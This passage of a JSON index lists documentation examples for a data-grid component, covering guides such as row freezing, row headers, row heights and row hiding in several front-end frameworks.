"/recipes/rendering-styling/frozen-summary-row", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/rendering-styling/frozen-summary-row/javascript/example1.js", - "file": "recipes__rendering-styling__frozen-summary-row__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Rendering Styling", - "Frozen summary row" - ], - "guide": "recipes/rendering-styling/frozen-summary-row/frozen-summary-row.md", - "guideTitle": "Frozen summary row", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/rendering-styling/frozen-summary-row", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/rendering-styling/frozen-summary-row/react/example1.tsx", - "file": "recipes__rendering-styling__frozen-summary-row__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Rendering Styling", - "Frozen summary row" - ], - "guide": "recipes/rendering-styling/frozen-summary-row/frozen-summary-row.md", - "guideTitle": "Frozen summary row", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/rendering-styling/frozen-summary-row", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/rendering-styling/frozen-summary-row/javascript/example1.ts", - "file": "recipes__rendering-styling__frozen-summary-row__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Rendering Styling", - "Frozen summary row" - ], - "guide": "recipes/rendering-styling/frozen-summary-row/frozen-summary-row.md", - "guideTitle": "Frozen summary row", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/rendering-styling/frozen-summary-row", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/rendering-styling/sparkline-cell-renderer/angular/example1.ts", - "file": "recipes__rendering-styling__sparkline-cell-renderer__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Rendering Styling", - "Sparkline cell renderer" - ], - "guide": "recipes/rendering-styling/sparkline-cell-renderer/sparkline-cell-renderer.md", - "guideTitle": "Sparkline cell renderer", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/rendering-styling/sparkline-cell-renderer", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/rendering-styling/sparkline-cell-renderer/javascript/example1.js", - "file": "recipes__rendering-styling__sparkline-cell-renderer__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Rendering Styling", - "Sparkline cell renderer" - ], - "guide": "recipes/rendering-styling/sparkline-cell-renderer/sparkline-cell-renderer.md", - "guideTitle": "Sparkline cell renderer", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/rendering-styling/sparkline-cell-renderer", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/rendering-styling/sparkline-cell-renderer/react/example1.tsx", - "file": "recipes__rendering-styling__sparkline-cell-renderer__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Rendering Styling", - "Sparkline cell renderer" - ], - "guide": "recipes/rendering-styling/sparkline-cell-renderer/sparkline-cell-renderer.md", - "guideTitle": "Sparkline cell renderer", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/rendering-styling/sparkline-cell-renderer", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/rendering-styling/sparkline-cell-renderer/javascript/example1.ts", - "file": "recipes__rendering-styling__sparkline-cell-renderer__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Rendering Styling", - "Sparkline cell renderer" - ], - "guide": "recipes/rendering-styling/sparkline-cell-renderer/sparkline-cell-renderer.md", - "guideTitle": "Sparkline cell renderer", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/rendering-styling/sparkline-cell-renderer", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-freezing/angular/example1.ts", - "file": "guides__rows__row-freezing__angular__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row freezing" - ], - "guide": "guides/rows/row-freezing/row-freezing.md", - "guideTitle": "Row freezing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-freezing", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-freezing/javascript/example1.js", - "file": "guides__rows__row-freezing__javascript__example1.js.json", - "breadcrumb": [ - "Rows", - "Row freezing" - ], - "guide": "guides/rows/row-freezing/row-freezing.md", - "guideTitle": "Row freezing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-freezing", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-freezing/react/example1.tsx", - "file": "guides__rows__row-freezing__react__example1.tsx.json", - "breadcrumb": [ - "Rows", - "Row freezing" - ], - "guide": "guides/rows/row-freezing/row-freezing.md", - "guideTitle": "Row freezing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-freezing", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-freezing/javascript/example1.ts", - "file": "guides__rows__row-freezing__javascript__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row freezing" - ], - "guide": "guides/rows/row-freezing/row-freezing.md", - "guideTitle": "Row freezing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-freezing", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-freezing/vue/example1.vue", - "file": "guides__rows__row-freezing__vue__example1.vue.json", - "breadcrumb": [ - "Rows", - "Row freezing" - ], - "guide": "guides/rows/row-freezing/row-freezing.md", - "guideTitle": "Row freezing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-freezing", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-header/angular/example1.ts", - "file": "guides__rows__row-header__angular__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-header", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-header/javascript/example1.js", - "file": "guides__rows__row-header__javascript__example1.js.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-header", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-header/react/example1.tsx", - "file": "guides__rows__row-header__react__example1.tsx.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-header", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-header/javascript/example1.ts", - "file": "guides__rows__row-header__javascript__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-header", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-header/vue/example1.vue", - "file": "guides__rows__row-header__vue__example1.vue.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-header", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-header/angular/example2.ts", - "file": "guides__rows__row-header__angular__example2.ts.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example2", - "exampleTitle": "Row headers as an array", - "docPermalink": "/row-header", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-header/javascript/example2.js", - "file": "guides__rows__row-header__javascript__example2.js.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example2", - "exampleTitle": "Row headers as an array", - "docPermalink": "/row-header", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-header/react/example2.tsx", - "file": "guides__rows__row-header__react__example2.tsx.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example2", - "exampleTitle": "Row headers as an array", - "docPermalink": "/row-header", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-header/javascript/example2.ts", - "file": "guides__rows__row-header__javascript__example2.ts.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example2", - "exampleTitle": "Row headers as an array", - "docPermalink": "/row-header", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-header/vue/example2.vue", - "file": "guides__rows__row-header__vue__example2.vue.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example2", - "exampleTitle": "Row headers as an array", - "docPermalink": "/row-header", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-header/angular/example3.ts", - "file": "guides__rows__row-header__angular__example3.ts.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example3", - "exampleTitle": "Row headers as a function", - "docPermalink": "/row-header", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-header/javascript/example3.js", - "file": "guides__rows__row-header__javascript__example3.js.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example3", - "exampleTitle": "Row headers as a function", - "docPermalink": "/row-header", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-header/react/example3.tsx", - "file": "guides__rows__row-header__react__example3.tsx.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example3", - "exampleTitle": "Row headers as a function", - "docPermalink": "/row-header", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-header/javascript/example3.ts", - "file": "guides__rows__row-header__javascript__example3.ts.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example3", - "exampleTitle": "Row headers as a function", - "docPermalink": "/row-header", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-header/vue/example3.vue", - "file": "guides__rows__row-header__vue__example3.vue.json", - "breadcrumb": [ - "Rows", - "Row headers" - ], - "guide": "guides/rows/row-header/row-header.md", - "guideTitle": "Row headers", - "exampleId": "example3", - "exampleTitle": "Row headers as a function", - "docPermalink": "/row-header", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-height/angular/example1.ts", - "file": "guides__rows__row-height__angular__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-height", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-height/javascript/example1.js", - "file": "guides__rows__row-height__javascript__example1.js.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-height", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-height/react/example1.tsx", - "file": "guides__rows__row-height__react__example1.tsx.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-height", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-height/javascript/example1.ts", - "file": "guides__rows__row-height__javascript__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-height", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-height/vue/example1.vue", - "file": "guides__rows__row-height__vue__example1.vue.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-height", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-height/angular/example2.ts", - "file": "guides__rows__row-height__angular__example2.ts.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example2", - "exampleTitle": "Set row heights with an array", - "docPermalink": "/row-height", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-height/javascript/example2.js", - "file": "guides__rows__row-height__javascript__example2.js.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example2", - "exampleTitle": "Set row heights with an array", - "docPermalink": "/row-height", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-height/react/example2.tsx", - "file": "guides__rows__row-height__react__example2.tsx.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example2", - "exampleTitle": "Set row heights with an array", - "docPermalink": "/row-height", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-height/javascript/example2.ts", - "file": "guides__rows__row-height__javascript__example2.ts.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example2", - "exampleTitle": "Set row heights with an array", - "docPermalink": "/row-height", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-height/vue/example2.vue", - "file": "guides__rows__row-height__vue__example2.vue.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example2", - "exampleTitle": "Set row heights with an array", - "docPermalink": "/row-height", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-height/angular/example3.ts", - "file": "guides__rows__row-height__angular__example3.ts.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example3", - "exampleTitle": "Set row heights with a function", - "docPermalink": "/row-height", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-height/javascript/example3.js", - "file": "guides__rows__row-height__javascript__example3.js.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example3", - "exampleTitle": "Set row heights with a function", - "docPermalink": "/row-height", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-height/react/example3.tsx", - "file": "guides__rows__row-height__react__example3.tsx.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example3", - "exampleTitle": "Set row heights with a function", - "docPermalink": "/row-height", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-height/javascript/example3.ts", - "file": "guides__rows__row-height__javascript__example3.ts.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example3", - "exampleTitle": "Set row heights with a function", - "docPermalink": "/row-height", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-height/vue/example3.vue", - "file": "guides__rows__row-height__vue__example3.vue.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example3", - "exampleTitle": "Set row heights with a function", - "docPermalink": "/row-height", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-height/angular/example4.ts", - "file": "guides__rows__row-height__angular__example4.ts.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example4", - "exampleTitle": "Adjust row heights manually", - "docPermalink": "/row-height", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-height/javascript/example4.js", - "file": "guides__rows__row-height__javascript__example4.js.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example4", - "exampleTitle": "Adjust row heights manually", - "docPermalink": "/row-height", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-height/react/example4.tsx", - "file": "guides__rows__row-height__react__example4.tsx.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example4", - "exampleTitle": "Adjust row heights manually", - "docPermalink": "/row-height", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-height/javascript/example4.ts", - "file": "guides__rows__row-height__javascript__example4.ts.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example4", - "exampleTitle": "Adjust row heights manually", - "docPermalink": "/row-height", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-height/vue/example4.vue", - "file": "guides__rows__row-height__vue__example4.vue.json", - "breadcrumb": [ - "Rows", - "Row heights" - ], - "guide": "guides/rows/row-height/row-height.md", - "guideTitle": "Row heights", - "exampleId": "example4", - "exampleTitle": "Adjust row heights manually", - "docPermalink": "/row-height", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-hiding/angular/example1.ts", - "file": "guides__rows__row-hiding__angular__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-hiding", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-hiding/javascript/example1.js", - "file": "guides__rows__row-hiding__javascript__example1.js.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-hiding", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-hiding/react/example1.tsx", - "file": "guides__rows__row-hiding__react__example1.tsx.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-hiding", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-hiding/javascript/example1.ts", - "file": "guides__rows__row-hiding__javascript__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-hiding", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-hiding/vue/example1.vue", - "file": "guides__rows__row-hiding__vue__example1.vue.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-hiding", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-hiding/angular/example2.ts", - "file": "guides__rows__row-hiding__angular__example2.ts.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example2", - "exampleTitle": "Step 1: Specify rows hidden by default", - "docPermalink": "/row-hiding", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-hiding/javascript/example2.js", - "file": "guides__rows__row-hiding__javascript__example2.js.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example2", - "exampleTitle": "Step 1: Specify rows hidden by default", - "docPermalink": "/row-hiding", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-hiding/react/example2.tsx", - "file": "guides__rows__row-hiding__react__example2.tsx.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example2", - "exampleTitle": "Step 1: Specify rows hidden by default", - "docPermalink": "/row-hiding", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-hiding/javascript/example2.ts", - "file": "guides__rows__row-hiding__javascript__example2.ts.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example2", - "exampleTitle": "Step 1: Specify rows hidden by default", - "docPermalink": "/row-hiding", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-hiding/vue/example2.vue", - "file": "guides__rows__row-hiding__vue__example2.vue.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example2", - "exampleTitle": "Step 1: Specify rows hidden by default", - "docPermalink": "/row-hiding", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-hiding/angular/example3.ts", - "file": "guides__rows__row-hiding__angular__example3.ts.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example3", - "exampleTitle": "Step 2: Show UI indicators", - "docPermalink": "/row-hiding", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-hiding/javascript/example3.js", - "file": "guides__rows__row-hiding__javascript__example3.js.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example3", - "exampleTitle": "Step 2: Show UI indicators", - "docPermalink": "/row-hiding", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-hiding/react/example3.tsx", - "file": "guides__rows__row-hiding__react__example3.tsx.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example3", - "exampleTitle": "Step 2: Show UI indicators", - "docPermalink": "/row-hiding", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-hiding/javascript/example3.ts", - "file": "guides__rows__row-hiding__javascript__example3.ts.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example3", - "exampleTitle": "Step 2: Show UI indicators", - "docPermalink": "/row-hiding", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-hiding/vue/example3.vue", - "file": "guides__rows__row-hiding__vue__example3.vue.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example3", - "exampleTitle": "Step 2: Show UI indicators", - "docPermalink": "/row-hiding", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-hiding/angular/example4.ts", - "file": "guides__rows__row-hiding__angular__example4.ts.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example4", - "exampleTitle": "Step 3: Set up context menu items", - "docPermalink": "/row-hiding", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-hiding/javascript/example4.js", - "file": "guides__rows__row-hiding__javascript__example4.js.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example4", - "exampleTitle": "Step 3: Set up context menu items", - "docPermalink": "/row-hiding", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-hiding/react/example4.tsx", - "file": "guides__rows__row-hiding__react__example4.tsx.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example4", - "exampleTitle": "Step 3: Set up context menu items", - "docPermalink": "/row-hiding", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-hiding/javascript/example4.ts", - "file": "guides__rows__row-hiding__javascript__example4.ts.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example4", - "exampleTitle": "Step 3: Set up context menu items", - "docPermalink": "/row-hiding", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-hiding/vue/example4.vue", - "file": "guides__rows__row-hiding__vue__example4.vue.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example4", - "exampleTitle": "Step 3: Set up context menu items", - "docPermalink": "/row-hiding", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-hiding/angular/example5.ts", - "file": "guides__rows__row-hiding__angular__example5.ts.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example5", - "exampleTitle": "Step 3: Set up context menu items (2)", - "docPermalink": "/row-hiding", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-hiding/javascript/example5.js", - "file": "guides__rows__row-hiding__javascript__example5.js.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example5", - "exampleTitle": "Step 3: Set up context menu items (2)", - "docPermalink": "/row-hiding", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-hiding/react/example5.tsx", - "file": "guides__rows__row-hiding__react__example5.tsx.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example5", - "exampleTitle": "Step 3: Set up context menu items (2)", - "docPermalink": "/row-hiding", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-hiding/javascript/example5.ts", - "file": "guides__rows__row-hiding__javascript__example5.ts.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example5", - "exampleTitle": "Step 3: Set up context menu items (2)", - "docPermalink": "/row-hiding", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-hiding/vue/example5.vue", - "file": "guides__rows__row-hiding__vue__example5.vue.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example5", - "exampleTitle": "Step 3: Set up context menu items (2)", - "docPermalink": "/row-hiding", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-hiding/angular/example6.ts", - "file": "guides__rows__row-hiding__angular__example6.ts.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example6", - "exampleTitle": "Step 4: Set up copy and paste behavior", - "docPermalink": "/row-hiding", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-hiding/javascript/example6.js", - "file": "guides__rows__row-hiding__javascript__example6.js.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example6", - "exampleTitle": "Step 4: Set up copy and paste behavior", - "docPermalink": "/row-hiding", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-hiding/react/example6.tsx", - "file": "guides__rows__row-hiding__react__example6.tsx.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example6", - 